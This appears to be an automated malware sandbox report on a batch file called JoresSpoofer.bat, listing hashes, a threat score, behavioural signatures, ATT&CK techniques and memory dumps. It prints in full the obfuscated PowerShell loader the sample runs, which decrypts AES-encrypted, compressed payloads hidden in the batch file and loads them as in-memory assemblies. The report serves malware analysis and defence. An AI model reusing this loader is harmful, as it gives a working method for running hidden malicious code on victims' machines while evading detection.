3e9360777427b09db15faafc2cd5171b403461b445a932ee5e88d55b8342f876

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
23-01-2025 18:47

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General

Target

JoresSpoofer.bat
Size

288KB
MD5

0d54ebc1a6e4ebe7d65b969c4024ed1e
SHA1

d790848a4fb6566f261336c792d3dc52231b6893
SHA256

3e9360777427b09db15faafc2cd5171b403461b445a932ee5e88d55b8342f876
SHA512

8ac84b09ba0f134a0575940877a2bea840c313ac2cdc048ffa2e1f64e9ea50aa59fe741f5b44ec1731ea4df7f17dd0a8f71c92ae305fc65893b81196e9293580
SSDEEP

6144:eAxGUqNRfHDHpulKyACuprcyfVsG3GNvMr+MjICSjQp:eAxRIf1W6CupwyfSueBK

Score

7^/10

execution

Malware Config

Signatures

Deletes itself 1 IoCs

pid	Process
2504	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2792	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2792	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2792	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2504 wrote to memory of 2792	2504	cmd.exe	32
PID 2504 wrote to memory of 2792	2504	cmd.exe	32
PID 2504 wrote to memory of 2792	2504	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\JoresSpoofer.bat"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9teasotqBk8WTenpeTE5FzOMJ48xawOGNCq0WwkILmY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Wrx0K4LfWEl9bMIQeRbWZw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WohyS=New-Object System.IO.MemoryStream(,$param_var); $VaNLI=New-Object System.IO.MemoryStream; $mbEJl=New-Object System.IO.Compression.GZipStream($WohyS, [IO.Compression.CompressionMode]::Decompress); $mbEJl.CopyTo($VaNLI); $mbEJl.Dispose(); $WohyS.Dispose(); $VaNLI.Dispose(); $VaNLI.ToArray();}function execute_function($param_var,$param2_var){ $LjWzP=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $jmxwW=$LjWzP.EntryPoint; $jmxwW.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\JoresSpoofer.bat';$lQdiW=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\JoresSpoofer.bat').Split([Environment]::NewLine);foreach ($pjzMI in $lQdiW) { if ($pjzMI.StartsWith(':: ')) { $iUyve=$pjzMI.Substring(3); break; }}$payloads_var=[string[]]$iUyve.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2792-4-0x000007FEF547E000-0x000007FEF547F000-memory.dmp

Filesize
4KB

Download
memory/2792-5-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2792-6-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/2792-7-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2792-8-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2792-10-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2792-9-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download